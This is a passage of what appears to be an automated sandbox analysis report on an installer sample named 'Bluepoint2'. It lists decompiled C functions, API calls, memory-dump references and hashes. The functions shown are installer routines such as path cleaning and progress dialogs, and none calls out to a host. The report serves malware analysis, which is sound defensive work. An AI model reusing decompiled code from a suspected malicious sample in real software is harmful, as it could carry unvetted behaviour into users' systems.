                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: File$Pointer$ByteCharMultiWide$Read
                                                    • String ID: 9
                                                    • API String ID: 163830602-2366072709
                                                    • Opcode ID: c494a9c5f1831dca55446a6dfc25bb45b63b896379fbbdb0ec38153142a3ac1c
                                                    • Instruction ID: 581cf2785626502de532f206a1de9da9d9b8d20bcd24121b7f7bd1133decb9a2
                                                    • Opcode Fuzzy Hash: c494a9c5f1831dca55446a6dfc25bb45b63b896379fbbdb0ec38153142a3ac1c
                                                    • Instruction Fuzzy Hash: CE51FB75D00219AADF20EF95CA88AAEBB75FF04304F50417BE541B62D4D7B49D82CB58
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 85%
                                                    			E726F2480(void* __edx) {
                                                    				void* _t37;
                                                    				signed int _t38;
                                                    				void* _t39;
                                                    				void* _t41;
                                                    				signed char* _t42;
                                                    				signed char* _t51;
                                                    				void* _t52;
                                                    				void* _t54;
                                                    
                                                    				 *(_t54 + 0x10) = 0 |  *((intOrPtr*)( *((intOrPtr*)(_t54 + 8)) + 0x1014)) > 0x00000000;
                                                    				while(1) {
                                                    					_t9 =  *((intOrPtr*)(_t54 + 0x18)) + 0x1018; // 0x1018
                                                    					_t51 = ( *(_t54 + 0x10) << 5) + _t9;
                                                    					_t52 = _t51[0x18];
                                                    					if(_t52 == 0) {
                                                    						goto L9;
                                                    					}
                                                    					_t41 = 0x1a;
                                                    					if(_t52 == _t41) {
                                                    						goto L9;
                                                    					}
                                                    					if(_t52 != 0xffffffff) {
                                                    						if(_t52 <= 0 || _t52 > 0x19) {
                                                    							_t51[0x18] = _t41;
                                                    							goto L12;
                                                    						} else {
                                                    							_t37 = E726F135A(_t52 - 1);
                                                    							L10:
                                                    							goto L11;
                                                    						}
                                                    					} else {
                                                    						_t37 = E726F12E3();
                                                    						L11:
                                                    						_t52 = _t37;
                                                    						L12:
                                                    						_t13 =  &(_t51[8]); // 0x1020
                                                    						_t42 = _t13;
                                                    						if(_t51[4] >= 0) {
                                                    						}
                                                    						_t38 =  *_t51 & 0x000000ff;
                                                    						_t51[0x1c] = 0;
                                                    						if(_t38 > 7) {
                                                    							L27:
                                                    							_t39 = GlobalFree(_t52);
                                                    							if( *(_t54 + 0x10) == 0) {
                                                    								return _t39;
                                                    							}
                                                    							if( *(_t54 + 0x10) !=  *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x18)) + 0x1014))) {
                                                    								 *(_t54 + 0x10) =  *(_t54 + 0x10) + 1;
                                                    							} else {
                                                    								 *(_t54 + 0x10) =  *(_t54 + 0x10) & 0x00000000;
                                                    							}
                                                    							continue;
                                                    						} else {
                                                    							switch( *((intOrPtr*)(_t38 * 4 +  &M726F25F8))) {
                                                    								case 0:
                                                    									 *_t42 = 0;
                                                    									goto L27;
                                                    								case 1:
                                                    									__eax = E726F13B1(__ebp);
                                                    									goto L21;
                                                    								case 2:
                                                    									 *__edi = E726F13B1(__ebp);
                                                    									__edi[1] = __edx;
                                                    									goto L27;
                                                    								case 3:
                                                    									__eax = GlobalAlloc(0x40,  *0x726f506c);
                                                    									 *(__esi + 0x1c) = __eax;
                                                    									__edx = 0;
                                                    									 *__edi = __eax;
                                                    									__eax = WideCharToMultiByte(0, 0, __ebp,  *0x726f506c, __eax,  *0x726f506c, 0, 0);
                                                    									goto L27;
                                                    								case 4:
                                                    									__eax = E726F12CC(__ebp);
                                                    									 *(__esi + 0x1c) = __eax;
                                                    									L21:
                                                    									 *__edi = __eax;
                                                    									goto L27;
                                                    								case 5:
                                                    									__eax = GlobalAlloc(0x40, 0x10);
                                                    									_push(__eax);
                                                    									 *(__esi + 0x1c) = __eax;
                                                    									_push(__ebp);
                                                    									 *__edi = __eax;
                                                    									__imp__CLSIDFromString();
                                                    									goto L27;
                                                    								case 6:
                                                    									if( *__ebp != __cx) {
                                                    										__eax = E726F13B1(__ebp);
                                                    										 *__ebx = __eax;
                                                    									}
                                                    									goto L27;
                                                    								case 7:
                                                    									 *(__esi + 0x18) =  *(__esi + 0x18) - 1;
                                                    									( *(__esi + 0x18) - 1) *  *0x726f506c =  *0x726f5074 + ( *(__esi + 0x18) - 1) *  *0x726f506c * 2 + 0x18;
                                                    									 *__ebx =  *0x726f5074 + ( *(__esi + 0x18) - 1) *  *0x726f506c * 2 + 0x18;
                                                    									asm("cdq");
                                                    									__eax = E726F1510(__edx,  *0x726f5074 + ( *(__esi + 0x18) - 1) *  *0x726f506c * 2 + 0x18, __edx,  *0x726f5074 + ( *(__esi + 0x18) - 1) *  *0x726f506c * 2);
                                                    									goto L27;
                                                    							}
                                                    						}
                                                    					}
                                                    					L9:
                                                    					_t37 = E726F12CC(0x726f5044);
                                                    					goto L10;
                                                    				}
                                                    			}











                                                    0x726f2494
                                                    0x726f2498
                                                    0x726f24a3
                                                    0x726f24a3
                                                    0x726f24aa
                                                    0x726f24af
                                                    0x00000000
                                                    0x00000000
                                                    0x726f24b3
                                                    0x726f24b6
                                                    0x00000000
                                                    0x00000000
                                                    0x726f24bb
                                                    0x726f24c6
                                                    0x726f24d6
                                                    0x00000000
                                                    0x726f24cd
                                                    0x726f24cf
                                                    0x726f24e5
                                                    0x00000000
                                                    0x726f24e5
                                                    0x726f24bd
                                                    0x726f24bd
                                                    0x726f24e6
                                                    0x726f24e6
                                                    0x726f24e8
                                                    0x726f24ec
                                                    0x726f24ec
                                                    0x726f24ef
                                                    0x726f24ef
                                                    0x726f24f7
                                                    0x726f24ff
                                                    0x726f2502
                                                    0x726f25c1
                                                    0x726f25c2
                                                    0x726f25cd
                                                    0x726f25f7
                                                    0x726f25f7
                                                    0x726f25dd
                                                    0x726f25e9
                                                    0x726f25df
                                                    0x726f25df
                                                    0x726f25df
                                                    0x00000000
                                                    0x726f2508
                                                    0x726f2508
                                                    0x00000000
                                                    0x726f250f
                                                    0x00000000
                                                    0x00000000
                                                    0x726f2517
                                                    0x00000000
                                                    0x00000000
                                                    0x726f2525
                                                    0x726f2527
                                                    0x00000000
                                                    0x00000000
                                                    0x726f2548
                                                    0x726f254e
                                                    0x726f2551
                                                    0x726f2553
                                                    0x726f2563
                                                    0x00000000
                                                    0x00000000
                                                    0x726f2530
                                                    0x726f2535
                                                    0x726f2538
                                                    0x726f2539
                                                    0x00000000
                                                    0x00000000
                                                    0x726f256f
                                                    0x726f2575
                                                    0x726f2576
                                                    0x726f2579
                                                    0x726f257a
                                                    0x726f257c
                                                    0x00000000
                                                    0x00000000
                                                    0x726f2588
                                                    0x726f258b
                                                    0x726f2597
                                                    0x726f2599
                                                    0x00000000
                                                    0x00000000
                                                    0x726f25a5
                                                    0x726f25b1
                                                    0x726f25b4
                                                    0x726f25b6
                                                    0x726f25b9
                                                    0x00000000
                                                    0x00000000
                                                    0x726f2508
                                                    0x726f2502
                                                    0x726f24db
                                                    0x726f24e0
                                                    0x00000000
                                                    0x726f24e0

                                                    APIs
                                                    • GlobalFree.KERNEL32 ref: 726F25C2
                                                      • Part of subcall function 726F12CC: lstrcpynW.KERNEL32(00000000,?,726F137F,00000019,726F11CA,-000000A0), ref: 726F12DC
                                                    • GlobalAlloc.KERNEL32(00000040), ref: 726F2548
                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 726F2563
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.881139933.00000000726F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 726F0000, based on PE: true
                                                    • Associated: 00000000.00000002.881121829.00000000726F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000000.00000002.881178498.00000000726F4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000000.00000002.881186442.00000000726F6000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_726f0000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
                                                    • String ID: @hv
                                                    • API String ID: 4216380887-3217783804
                                                    • Opcode ID: 1805d7eb5ac19c6a03e64aa21460cb2d5a7c9afc35069db0a974aa99ccae9e26
                                                    • Instruction ID: b6deb728febb0a22633102eb3d4adce8e40c5662047a4cb8bd20a232cfad59bc
                                                    • Opcode Fuzzy Hash: 1805d7eb5ac19c6a03e64aa21460cb2d5a7c9afc35069db0a974aa99ccae9e26
                                                    • Instruction Fuzzy Hash: 4E41DEB2048345EFDF18DF2DD894A2A7BBAFB44310F10891FE646869C4EB70A594CF61
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 91%
                                                    			E004068EF(WCHAR* _a4) {
                                                    				short _t5;
                                                    				short _t7;
                                                    				WCHAR* _t19;
                                                    				WCHAR* _t20;
                                                    				WCHAR* _t21;
                                                    
                                                    				_t20 = _a4;
                                                    				if( *_t20 == 0x5c && _t20[1] == 0x5c && _t20[2] == 0x3f && _t20[3] == 0x5c) {
                                                    					_t20 =  &(_t20[4]);
                                                    				}
                                                    				if( *_t20 != 0 && E00405FAE(_t20) != 0) {
                                                    					_t20 =  &(_t20[2]);
                                                    				}
                                                    				_t5 =  *_t20;
                                                    				_t21 = _t20;
                                                    				_t19 = _t20;
                                                    				if(_t5 != 0) {
                                                    					do {
                                                    						if(_t5 > 0x1f &&  *((short*)(E00405F64(L"*?|<>/\":", _t5))) == 0) {
                                                    							E00406113(_t19, _t20, CharNextW(_t20) - _t20 >> 1);
                                                    							_t19 = CharNextW(_t19);
                                                    						}
                                                    						_t20 = CharNextW(_t20);
                                                    						_t5 =  *_t20;
                                                    					} while (_t5 != 0);
                                                    				}
                                                    				 *_t19 =  *_t19 & 0x00000000;
                                                    				while(1) {
                                                    					_push(_t19);
                                                    					_push(_t21);
                                                    					_t19 = CharPrevW();
                                                    					_t7 =  *_t19;
                                                    					if(_t7 != 0x20 && _t7 != 0x5c) {
                                                    						break;
                                                    					}
                                                    					 *_t19 =  *_t19 & 0x00000000;
                                                    					if(_t21 < _t19) {
                                                    						continue;
                                                    					}
                                                    					break;
                                                    				}
                                                    				return _t7;
                                                    			}








                                                    0x004068f1
                                                    0x004068fa
                                                    0x00406911
                                                    0x00406911
                                                    0x00406918
                                                    0x00406924
                                                    0x00406924
                                                    0x00406927
                                                    0x0040692a
                                                    0x0040692f
                                                    0x00406931
                                                    0x0040693a
                                                    0x0040693e
                                                    0x0040695b
                                                    0x00406963
                                                    0x00406963
                                                    0x00406968
                                                    0x0040696a
                                                    0x0040696d
                                                    0x00406972
                                                    0x00406973
                                                    0x00406977
                                                    0x00406977
                                                    0x00406978
                                                    0x0040697f
                                                    0x00406981
                                                    0x00406988
                                                    0x00000000
                                                    0x00000000
                                                    0x00406990
                                                    0x00406996
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00406996
                                                    0x0040699b

                                                    APIs
                                                    • CharNextW.USER32(?,*?|<>/":,00000000,00000000,76F1FAA0,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406952
                                                    • CharNextW.USER32(?,?,?,00000000,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406961
                                                    • CharNextW.USER32(?,00000000,76F1FAA0,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406966
                                                    • CharPrevW.USER32(?,?,76F1FAA0,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406979
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: Char$Next$Prev
                                                    • String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
                                                    • API String ID: 589700163-826357637
                                                    • Opcode ID: 4a25a2118415850d7bb15acf585ec7f7b5de772317bec8c7d00468289de3f440
                                                    • Instruction ID: d28fb8c2eefe6f61a155ceb01790bbf8b21f4710aa7989e54d8eeb8481a577c9
                                                    • Opcode Fuzzy Hash: 4a25a2118415850d7bb15acf585ec7f7b5de772317bec8c7d00468289de3f440
                                                    • Instruction Fuzzy Hash: 2611089580061295DB303B18CC40BB762F8AF99B50F12403FE98A776C1E77C4C9286BD
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 100%
                                                    			E0040302E(intOrPtr _a4) {
                                                    				short _v132;
                                                    				long _t6;
                                                    				struct HWND__* _t7;
                                                    				struct HWND__* _t15;
                                                    
                                                    				if(_a4 != 0) {
                                                    					_t15 =  *0x420efc; // 0x0
                                                    					if(_t15 != 0) {
                                                    						_t15 = DestroyWindow(_t15);
                                                    					}
                                                    					 *0x420efc = 0;
                                                    					return _t15;
                                                    				}
                                                    				__eflags =  *0x420efc; // 0x0
                                                    				if(__eflags != 0) {
                                                    					return E00406A71(0);
                                                    				}
                                                    				_t6 = GetTickCount();
                                                    				__eflags = _t6 -  *0x42a26c;
                                                    				if(_t6 >  *0x42a26c) {
                                                    					__eflags =  *0x42a268;
                                                    					if( *0x42a268 == 0) {
                                                    						_t7 = CreateDialogParamW( *0x42a260, 0x6f, 0, E00402F93, 0);
                                                    						 *0x420efc = _t7;
                                                    						return ShowWindow(_t7, 5);
                                                    					}
                                                    					__eflags =  *0x42a314 & 0x00000001;
                                                    					if(( *0x42a314 & 0x00000001) != 0) {
                                                    						wsprintfW( &_v132, L"... %d%%", E00403012());
                                                    						return E004056CA(0,  &_v132);
                                                    					}
                                                    				}
                                                    				return _t6;
                                                    			}







                                                    0x0040303d
                                                    0x0040303f
                                                    0x00403046
                                                    0x00403049
                                                    0x00403049
                                                    0x0040304f
                                                    0x00000000
                                                    0x0040304f
                                                    0x00403057
                                                    0x0040305d
                                                    0x00000000
                                                    0x00403060
                                                    0x00403067
                                                    0x0040306d
                                                    0x00403073
                                                    0x00403075
                                                    0x0040307b
                                                    0x004030b9
                                                    0x004030c2
                                                    0x00000000
                                                    0x004030c7
                                                    0x0040307d
                                                    0x00403084
                                                    0x00403095
                                                    0x00000000
                                                    0x004030a3
                                                    0x00403084
                                                    0x004030cf

                                                    APIs
                                                    • DestroyWindow.USER32(00000000,00000000), ref: 00403049
                                                    • GetTickCount.KERNEL32 ref: 00403067
                                                    • wsprintfW.USER32 ref: 00403095
                                                      • Part of subcall function 004056CA: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
                                                      • Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
                                                      • Part of subcall function 004056CA: lstrcatW.KERNEL32(00422728,004030A8), ref: 00405725
                                                      • Part of subcall function 004056CA: SetWindowTextW.USER32(00422728,00422728), ref: 00405737
                                                      • Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
                                                      • Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
                                                      • Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785
                                                    • CreateDialogParamW.USER32 ref: 004030B9
                                                    • ShowWindow.USER32(00000000,00000005), ref: 004030C7
                                                      • Part of subcall function 00403012: MulDiv.KERNEL32(00023252,00000064,000230A5), ref: 00403027
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
                                                    • String ID: ... %d%%
                                                    • API String ID: 722711167-2449383134
                                                    • Opcode ID: a65563718f57099a27635650194dd277da09fbe66beefc8d93bb4be83c5e7891
                                                    • Instruction ID: 5af6bf9b0b70cf9307c1258d0e5a667b07be53d22b58a3258066d7aee54b172b
                                                    • Opcode Fuzzy Hash: a65563718f57099a27635650194dd277da09fbe66beefc8d93bb4be83c5e7891
                                                    • Instruction Fuzzy Hash: E8018E70553614DBC7317F60AE08A5A3EACAB00F06F54457AF841B21E9DAB84645CBAE
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 100%
                                                    			E00404F7F(struct HWND__* _a4, intOrPtr _a8) {
                                                    				long _v8;
                                                    				signed char _v12;
                                                    				unsigned int _v16;
                                                    				void* _v20;
                                                    				intOrPtr _v24;
                                                    				long _v56;
                                                    				void* _v60;
                                                    				long _t15;
                                                    				unsigned int _t19;
                                                    				signed int _t25;
                                                    				struct HWND__* _t28;
                                                    
                                                    				_t28 = _a4;
                                                    				_t15 = SendMessageW(_t28, 0x110a, 9, 0);
                                                    				if(_a8 == 0) {
                                                    					L4:
                                                    					_v56 = _t15;
                                                    					_v60 = 4;
                                                    					SendMessageW(_t28, 0x113e, 0,  &_v60);
                                                    					return _v24;
                                                    				}
                                                    				_t19 = GetMessagePos();
                                                    				_v16 = _t19 >> 0x10;
                                                    				_v20 = _t19;
                                                    				ScreenToClient(_t28,  &_v20);
                                                    				_t25 = SendMessageW(_t28, 0x1111, 0,  &_v20);
                                                    				if((_v12 & 0x00000066) != 0) {
                                                    					_t15 = _v8;
                                                    					goto L4;
                                                    				}
                                                    				return _t25 | 0xffffffff;
                                                    			}














                                                    0x00404f8d
                                                    0x00404f9a
                                                    0x00404fa0
                                                    0x00404fde
                                                    0x00404fde
                                                    0x00404fed
                                                    0x00404ff4
                                                    0x00000000
                                                    0x00404ff6
                                                    0x00404fa2
                                                    0x00404fb1
                                                    0x00404fb9
                                                    0x00404fbc
                                                    0x00404fce
                                                    0x00404fd4
                                                    0x00404fdb
                                                    0x00000000
                                                    0x00404fdb
                                                    0x00000000

                                                    APIs
                                                    • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404F9A
                                                    • GetMessagePos.USER32 ref: 00404FA2
                                                    • ScreenToClient.USER32 ref: 00404FBC
                                                    • SendMessageW.USER32(?,00001111,00000000,?), ref: 00404FCE
                                                    • SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404FF4
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: Message$Send$ClientScreen
                                                    • String ID: f
                                                    • API String ID: 41195575-1993550816
                                                    • Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
                                                    • Instruction ID: ce4c7d6d39dceca23aa6ebdb29af7737867007859e7bede0b388bd4d525dd41f
                                                    • Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
                                                    • Instruction Fuzzy Hash: 3C014C71940219BADB00DBA4DD85BFEBBB8AF54711F10012BBB50B61C0D6B49A058BA5
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 100%
                                                    			E726F16BD(struct HINSTANCE__* _a4, short* _a8) {
                                                    				_Unknown_base(*)()* _t7;
                                                    				void* _t10;
                                                    				int _t14;
                                                    
                                                    				_t14 = WideCharToMultiByte(0, 0, _a8, 0xffffffff, 0, 0, 0, 0);
                                                    				_t10 = GlobalAlloc(0x40, _t14);
                                                    				WideCharToMultiByte(0, 0, _a8, 0xffffffff, _t10, _t14, 0, 0);
                                                    				_t7 = GetProcAddress(_a4, _t10);
                                                    				GlobalFree(_t10);
                                                    				return _t7;
                                                    			}






                                                    0x726f16d7
                                                    0x726f16e3
                                                    0x726f16f0
                                                    0x726f16f7
                                                    0x726f1700
                                                    0x726f170c

                                                    APIs
                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,726F22D8,?,00000808), ref: 726F16D5
                                                    • GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,726F22D8,?,00000808), ref: 726F16DC
                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,726F22D8,?,00000808), ref: 726F16F0
                                                    • GetProcAddress.KERNEL32(726F22D8,00000000), ref: 726F16F7
                                                    • GlobalFree.KERNEL32 ref: 726F1700
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.881139933.00000000726F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 726F0000, based on PE: true
                                                    • Associated: 00000000.00000002.881121829.00000000726F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000000.00000002.881178498.00000000726F4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000000.00000002.881186442.00000000726F6000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_726f0000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
                                                    • String ID: Nv@hv
                                                    • API String ID: 1148316912-4226514844
                                                    • Opcode ID: 0e14c765ed0e0d3d6e881c5e512a7a06dbab5f3e7313a6c941375637edd8f499
                                                    • Instruction ID: 3c7ef46d586eae2439336f452f3a32e8268523ef40614a71ba4a082a2701fce8
                                                    • Opcode Fuzzy Hash: 0e14c765ed0e0d3d6e881c5e512a7a06dbab5f3e7313a6c941375637edd8f499
                                                    • Instruction Fuzzy Hash: 86F01C732461787BDA201BAB8C4CD9BBE9CDF8B2F9B210616F7289259086614D41D7F1
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 100%
                                                    			E00402F93(struct HWND__* _a4, intOrPtr _a8) {
                                                    				short _v132;
                                                    				void* _t11;
                                                    				WCHAR* _t19;
                                                    
                                                    				if(_a8 == 0x110) {
                                                    					SetTimer(_a4, 1, 0xfa, 0);
                                                    					_a8 = 0x113;
                                                    				}
                                                    				if(_a8 == 0x113) {
                                                    					_t11 = E00403012();
                                                    					_t19 = L"unpacking data: %d%%";
                                                    					if( *0x42a270 == 0) {
                                                    						_t19 = L"verifying installer: %d%%";
                                                    					}
                                                    					wsprintfW( &_v132, _t19, _t11);
                                                    					SetWindowTextW(_a4,  &_v132);
                                                    					SetDlgItemTextW(_a4, 0x406,  &_v132);
                                                    				}
                                                    				return 0;
                                                    			}






                                                    0x00402fa3
                                                    0x00402fb1
                                                    0x00402fb7
                                                    0x00402fb7
                                                    0x00402fc5
                                                    0x00402fc7
                                                    0x00402fd3
                                                    0x00402fd8
                                                    0x00402fda
                                                    0x00402fda
                                                    0x00402fe5
                                                    0x00402ff5
                                                    0x00403007
                                                    0x00403007
                                                    0x0040300f

                                                    APIs
                                                    • SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FB1
                                                    • wsprintfW.USER32 ref: 00402FE5
                                                    • SetWindowTextW.USER32(?,?), ref: 00402FF5
                                                    • SetDlgItemTextW.USER32 ref: 00403007
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: Text$ItemTimerWindowwsprintf
                                                    • String ID: unpacking data: %d%%$verifying installer: %d%%
                                                    • API String ID: 1451636040-1158693248
                                                    • Opcode ID: b65fa6b26e28fa793ab4966251e07a6fe500b79f9b1e2f9c66e5bc42e84335f7
                                                    • Instruction ID: 34ad84b97f90b05cf42cbebec4ee1aaae98efe268bf46a139428006d78f28757
                                                    • Opcode Fuzzy Hash: b65fa6b26e28fa793ab4966251e07a6fe500b79f9b1e2f9c66e5bc42e84335f7
                                                    • Instruction Fuzzy Hash: 25F0497050020DABEF246F60DD49BEA3B69FB00309F00803AFA05B51D0DFBD9A559F59
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 75%
                                                    			E726F2655() {
                                                    				intOrPtr _t24;
                                                    				void* _t26;
                                                    				intOrPtr _t27;
                                                    				signed int _t39;
                                                    				void* _t40;
                                                    				void* _t43;
                                                    				intOrPtr _t44;
                                                    				void* _t45;
                                                    
                                                    				_t40 = E726F12BB();
                                                    				_t24 =  *((intOrPtr*)(_t45 + 0x18));
                                                    				_t44 =  *((intOrPtr*)(_t24 + 0x1014));
                                                    				_t43 = (_t44 + 0x81 << 5) + _t24;
                                                    				do {
                                                    					if( *((intOrPtr*)(_t43 - 4)) >= 0) {
                                                    					}
                                                    					_t39 =  *(_t43 - 8) & 0x000000ff;
